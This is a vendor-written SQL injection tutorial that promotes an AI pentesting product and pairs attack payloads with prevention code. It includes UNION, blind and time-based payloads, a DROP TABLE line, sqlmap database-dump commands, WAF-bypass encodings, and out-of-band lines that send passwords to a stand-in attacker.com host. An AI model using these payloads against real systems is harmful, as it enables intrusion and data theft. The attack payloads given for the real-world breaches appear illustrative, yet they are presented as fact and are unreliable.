SQL Injection Explained: Detection, Prevention, and Real-World Examples

SQL injection remains one of the most dangerous and prevalent web application vulnerabilities, consistently ranking in the OWASP Top 10 for over two decades. Despite being well-understood, SQL injection attacks continue to compromise thousands of applications every year, leading to massive data breaches and financial losses.

In this comprehensive guide, we'll dive deep into SQL injection: what it is, how it works, real-world examples, and most importantly, how to prevent it.

What is SQL Injection?
How SQL Injection Works
Types of SQL Injection
Real-World SQL Injection Attacks
Detecting SQL Injection Vulnerabilities
Prevention Techniques
Testing for SQL Injection
Advanced Topics

What is SQL Injection?

SQL Injection (SQLi) is a code injection technique where an attacker inserts malicious SQL statements into an application's database query. This allows attackers to:

Read sensitive data from the database
Modify or delete data (UPDATE, DELETE)
Execute administrative operations on the database
Recover files from the database server
Execute commands on the operating system (in some cases)

The Core Problem

SQL injection occurs when user input is directly concatenated into SQL queries without proper validation or sanitization.

Vulnerable Code Example (Node.js):

// ❌ VULNERABLE CODE - DO NOT USE
app.get('/user', (req, res) => {
  const userId = req.query.id

  // Direct string concatenation - DANGEROUS!
  const query = "SELECT * FROM users WHERE id = '" + userId + "'"

  db.query(query, (err, results) => {
    res.json(results)
  })
})

Normal Request:

GET /user?id=123

Generated SQL: SELECT * FROM users WHERE id = '123'
Result: Returns user with ID 123 ✓

Malicious Request:

GET /user?id=123' OR '1'='1

Generated SQL: SELECT * FROM users WHERE id = '123' OR '1'='1'
Result: Returns ALL users from the database! ✗

How SQL Injection Works

The Attack Process

Step 1: Injection Point Discovery

Attackers test input fields for SQL injection by inserting special characters:

'       -- Single quote
"       -- Double quote
\       -- Backslash
;       -- Semicolon
--      -- SQL comment
#       -- MySQL comment
/*      -- Multi-line comment

Step 2: Error-Based Discovery

If the application returns database errors, attackers learn about the database structure:

Test Input: 123'

Error Message:

MySQL Error: You have an error in your SQL syntax near ''123'''
at line 1

This confirms:

SQL injection is possible
The database is MySQL
Single quotes aren't escaped

Step 3: Exploitation

Once confirmed, attackers can:

Extract Data:

' UNION SELECT username, password FROM users--

Bypass Authentication:

admin' --
' OR '1'='1

Delete Data:

'; DROP TABLE users--

Classic Example: Login Bypass

Vulnerable Login Code:

# ❌ VULNERABLE
username = request.form['username']
password = request.form['password']

query = f"SELECT * FROM users WHERE username='{username}'
         AND password='{password}'"

user = db.execute(query)

Attack:

Username: admin' --
Password: anything

Generated SQL:
SELECT * FROM users WHERE username='admin' --' AND password='anything'

The -- comments out the password check!
Result: Logged in as admin without knowing the password!

Types of SQL Injection

1. In-Band SQL Injection

The attacker uses the same channel to launch the attack and gather results.

Classic (Error-Based)

The application displays database errors that reveal information:

Input: ' AND 1=0 UNION SELECT NULL, database(), user()--

Error: Illegal mix of collations (utf8_general_ci,IMPLICIT)
       and (latin1_swedish_ci,IMPLICIT) for operation 'UNION'

Reveals: Database is using utf8_general_ci collation

Union-Based

Uses UNION SQL operator to combine results:

' UNION SELECT username, password, email FROM users--

Requirements:

Know the number of columns
Data types must match

Column Discovery:

' ORDER BY 1--  ✓
' ORDER BY 2--  ✓
' ORDER BY 3--  ✓
' ORDER BY 4--  ✗ Error! (3 columns exist)

Data Extraction:

' UNION SELECT username, password, NULL FROM users--

2. Blind SQL Injection

No direct output, but attacker infers information from application behavior.

Boolean-Based

Application responds differently for TRUE vs FALSE:

' AND 1=1--  (Page loads normally - TRUE)
' AND 1=2--  (Page shows error - FALSE)

Extract Database Name Character by Character:

' AND SUBSTRING(database(),1,1)='a'--  (FALSE - no response change)
' AND SUBSTRING(database(),1,1)='b'--  (FALSE)
' AND SUBSTRING(database(),1,1)='u'--  (TRUE - response changes!)

First character is 'u'! Repeat for each character...

Time-Based

No visible response difference, but attacker uses time delays:

-- MySQL
' AND IF(1=1, SLEEP(5), 0)--  (Page takes 5 seconds - TRUE)
' AND IF(1=2, SLEEP(5), 0)--  (Page responds instantly - FALSE)

-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

-- SQL Server
'; IF (1=1) WAITFOR DELAY '0:0:5'--

Extract Data:

'; IF (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'
   WAITFOR DELAY '0:0:5'--

3. Out-of-Band SQL Injection

Data is retrieved via a different channel (DNS, HTTP):

-- MySQL (LOAD_FILE + INTO OUTFILE)
' UNION SELECT LOAD_FILE('/etc/passwd')--

-- MSSQL (xp_dirtree)
'; EXEC xp_dirtree '\\attacker.com\share'--

-- Oracle (UTL_HTTP)
' UNION SELECT UTL_HTTP.request('http://attacker.com/'||password)
  FROM users--

The attacker receives the data on their server.

Real-World SQL Injection Attacks

Case Study 1: Heartland Payment Systems (2008)

Attack:

SQL injection in payment processing application
130 million credit card numbers stolen
$140 million in fines and settlements

How it happened:

-- Vulnerable parameter in payment processing
cardNumber=' UNION SELECT track_data FROM transactions--

Impact:

Largest credit card breach at the time
Multiple executives resigned
Company nearly went bankrupt

Case Study 2: Sony Pictures (2011)

Attack:

SQL injection in unprotected server
77 million accounts compromised
Personal data, passwords, credit cards exposed

The Attack:

-- Bypassed authentication
' OR '1'='1'--

-- Extracted all user data
' UNION SELECT username, password, email, credit_card FROM users--

Impact:

$171 million in damages
PlayStation Network down for 23 days
Class action lawsuits
Severe reputation damage

Case Study 3: TalkTalk (2015)

Attack:

Simple SQL injection on company website
157,000 customers affected
£400,000 fine from UK regulator

The Payload:

1' AND 1=1 UNION SELECT null,table_name FROM information_schema.tables--

What made it worse:

Passwords stored in plaintext
No encryption on sensitive data
Basic vulnerability that should have been caught

Modern Examples (2023-2024)

MOVEit Transfer (2023):

SQL injection in file transfer software
2,000+ organizations affected
Millions of records stolen

Effected Companies:

BBC, British Airways, Aon, Siemens
U.S. government agencies
Universities worldwide

Detecting SQL Injection Vulnerabilities

Manual Testing

1. Single Quote Test

Add a single quote to any parameter:

Normal:    /product?id=123
Test:      /product?id=123'

Positive Signs:

Database error messages
Different response (blank page, error)
HTTP 500 error

2. Boolean Logic Test

id=123 AND 1=1--   (Should work normally)
id=123 AND 1=2--   (Should break/change response)

3. Time-Based Test

id=123; WAITFOR DELAY '0:0:5'--  (SQL Server)
id=123 AND SLEEP(5)--            (MySQL)

If page takes 5 seconds to load, SQL injection is possible.

Automated Detection Tools

SQLMap - The Industry Standard

# Basic scan
sqlmap -u "http://target.com/page?id=123"

# With authentication
sqlmap -u "http://target.com/user?id=1" --cookie="session=abc123"

# Dump database
sqlmap -u "http://target.com/page?id=123" --dump

# Get database names
sqlmap -u "http://target.com/page?id=123" --dbs

# Get tables from specific database
sqlmap -u "http://target.com/page?id=123" -D users --tables

# Dump specific table
sqlmap -u "http://target.com/page?id=123" -D users -T accounts --dump

Burp Suite

Intercept request
Send to Intruder
Add SQLi payload list
Analyze responses for anomalies

AI-Powered Detection (Buglify)

// AI automatically tests all parameters
// Detects SQL injection in context
// Provides proof-of-concept exploit
// Shows actual data extraction

Prevention Techniques

1. Parameterized Queries (Best Practice)

Node.js (PostgreSQL):

// ✅ SECURE - Parameterized query
app.get('/user', async (req, res) => {
  const userId = req.query.id

  const query = 'SELECT * FROM users WHERE id = $1'
  const values = [userId]

  const result = await db.query(query, values)
  res.json(result.rows)
})

Python (SQLAlchemy):

# ✅ SECURE
from sqlalchemy import text

user_id = request.args.get('id')

query = text("SELECT * FROM users WHERE id = :id")
result = db.session.execute(query, {"id": user_id})

PHP (PDO):

// ✅ SECURE
$userId = $_GET['id'];

$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
$stmt->execute([$userId]);
$user = $stmt->fetch();

Java (PreparedStatement):

// ✅ SECURE
String userId = request.getParameter("id");

String query = "SELECT * FROM users WHERE id = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, userId);
ResultSet rs = stmt.executeQuery();

2. Stored Procedures

-- Create stored procedure
CREATE PROCEDURE GetUser(@userId INT)
AS
BEGIN
    SELECT * FROM users WHERE id = @userId
END

-- Call from application (C#)
SqlCommand cmd = new SqlCommand("GetUser", connection);
cmd.CommandType = CommandType.StoredProcedure;
cmd.Parameters.Add("@userId", SqlDbType.Int).Value = userId;

Note: Stored procedures are only safe if they don't use dynamic SQL internally!

3. ORM Libraries

Sequelize (Node.js):

// ✅ SECURE
const user = await User.findOne({
  where: { id: userId }
})

Django (Python):

# ✅ SECURE
user = User.objects.get(id=user_id)

Hibernate (Java):

// ✅ SECURE
User user = session.get(User.class, userId);

4. Input Validation

Whitelist Approach:

// ✅ Validate integer ID
const userId = parseInt(req.query.id, 10)
if (isNaN(userId) || userId < 1) {
  return res.status(400).json({ error: 'Invalid user ID' })
}

// ✅ Validate email format
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/
if (!emailRegex.test(email)) {
  return res.status(400).json({ error: 'Invalid email' })
}

// ✅ Validate enum values
const allowedRoles = ['user', 'admin', 'moderator']
if (!allowedRoles.includes(role)) {
  return res.status(400).json({ error: 'Invalid role' })
}

5. Least Privilege Principle

Database User Permissions:

-- ❌ DON'T: Application uses root/admin account
GRANT ALL PRIVILEGES ON *.* TO 'app_user'@'localhost';

-- ✅ DO: Minimal permissions
-- Read-only user for public data
CREATE USER 'app_readonly'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT ON app_db.products TO 'app_readonly'@'localhost';
GRANT SELECT ON app_db.categories TO 'app_readonly'@'localhost';

-- Write user for authenticated operations
CREATE USER 'app_write'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT, INSERT, UPDATE ON app_db.orders TO 'app_write'@'localhost';
GRANT SELECT ON app_db.users TO 'app_write'@'localhost';

-- NO DROP, NO TRUNCATE, NO admin tables access

6. Web Application Firewall (WAF)

ModSecurity Rules:

# Block common SQL injection patterns
SecRule ARGS "@detectSQLi" \
    "id:1000,\
    phase:2,\
    deny,\
    status:403,\
    msg:'SQL Injection Attack Detected'"

Cloudflare WAF:

Enable OWASP Ruleset
Custom rule for SQL keywords
Rate limiting on authentication endpoints

7. Error Handling

❌ DON'T expose database errors:

// ❌ VULNERABLE
app.get('/user', async (req, res) => {
  try {
    const result = await db.query(query)
    res.json(result)
  } catch (error) {
    res.status(500).send(error.message) // Leaks database info!
  }
})

✅ DO use generic error messages:

// ✅ SECURE
app.get('/user', async (req, res) => {
  try {
    const result = await db.query(query)
    res.json(result)
  } catch (error) {
    console.error('Database error:', error) // Log internally
    res.status(500).json({
      error: 'An error occurred' // Generic message to user
    })
  }
})

Testing for SQL Injection

Manual Checklist

Test all input fields (GET, POST, headers, cookies)
Try single quote: '
Try SQL comments: --, #, /* */
Test boolean logic: AND 1=1, AND 1=2
Test UNION attacks: UNION SELECT NULL
Test time delays: SLEEP(5), WAITFOR
Test stacked queries: ; SELECT * FROM users
Test in numeric contexts: 1 OR 1=1
Test in string contexts: ' OR '1'='1

Automated Testing

SQLMap Command Examples:

# Test URL parameter
sqlmap -u "http://example.com/product?id=1" --batch

# Test POST request
sqlmap -u "http://example.com/login" --data="user=admin&pass=123"

# Test with authentication
sqlmap -u "http://example.com/profile" \
       --cookie="session=abc123" \
       --level=5 \
       --risk=3

# Get database structure
sqlmap -u "http://example.com/product?id=1" --schema

# Dump all databases
sqlmap -u "http://example.com/product?id=1" --dump-all

Automated Security Scanning with Buglify:

Integrate AI pentesting into your CI/CD pipeline for continuous SQL injection testing:

# .github/workflows/security-scan.yml
name: Security Scan
on:
  push:
    branches: [main]
  schedule:
    - cron: '0 0 * * 0'  # Weekly

jobs:
  pentest:
    runs-on: ubuntu-latest
    steps:
      - name: Run Buglify Scan
        uses: buglify/scan-action@v1
        with:
          target: https://staging.example.com
          api-key: ${{ secrets.BUGLIFY_API_KEY }}

See pricing or start with 3 free scans to protect your database.

Advanced Topics

Second-Order SQL Injection

Malicious input is stored in database, then used in a later query:

// Step 1: User registers with malicious username
POST /register
username: admin'--
email: hacker@evil.com

// Stored in database: username = "admin'--"

// Step 2: Later, when viewing user profile
const username = getUserFromDatabase(userId) // Returns "admin'--"
const query = "SELECT * FROM posts WHERE author = '" + username + "'"
// SQL Injection executes here!

Prevention: Validate/sanitize both on input AND output

NoSQL Injection

NoSQL databases (MongoDB, CouchDB) can also be vulnerable:

Vulnerable MongoDB Code:

// ❌ VULNERABLE
app.post('/login', (req, res) => {
  const { username, password } = req.body

  db.collection('users').findOne({
    username: username,
    password: password
  })
})

Attack:

POST /login
{
  "username": {"$ne": null},
  "password": {"$ne": null}
}

// Matches any user where username and password are not null
// Bypasses authentication!

Prevention:

// ✅ SECURE - Validate input types
app.post('/login', (req, res) => {
  const { username, password } = req.body

  // Ensure strings, not objects
  if (typeof username !== 'string' || typeof password !== 'string') {
    return res.status(400).json({ error: 'Invalid input' })
  }

  db.collection('users').findOne({
    username: username,
    password: password
  })
})

Bypassing WAF/Filters

Attackers use encoding and obfuscation:

-- URL encoding
%27%20OR%20%271%27=%271

-- Double encoding
%2527%2520OR%2520%25271%2527=%25271

-- Unicode
\u0027 OR \u00271\u0027=\u00271

-- Case variation
' Or '1'='1
' oR '1'='1

-- Comments between keywords
SEL/**/ECT * FROM users

-- Null bytes
%00' UNION SELECT%00

-- Hex encoding
0x73656c656374 (SELECT in hex)

Conclusion

SQL injection remains a critical threat, but it's completely preventable with proper coding practices. The key takeaways:

Prevention Hierarchy:

Use parameterized queries (prepared statements)
Validate all input (whitelist approach)
Apply least privilege (minimal database permissions)
Never expose errors (generic error messages)
Test regularly (automated security scans)

Remember:

SQL injection is always the developer's fault, not the database's
Never trust user input - validate everything
Defense in depth - multiple layers of protection
Test before deploying - catch vulnerabilities early

Protect Your Applications

Don't wait for a breach. Start testing for SQL injection today.

Try Buglify's AI Pentesting:

Automatically tests for SQL injection
Tests all parameters and contexts
Provides proof-of-concept exploits
Shows exact fixes needed

Start Free Security Scan →

Related Articles:

Last updated: September 15, 2025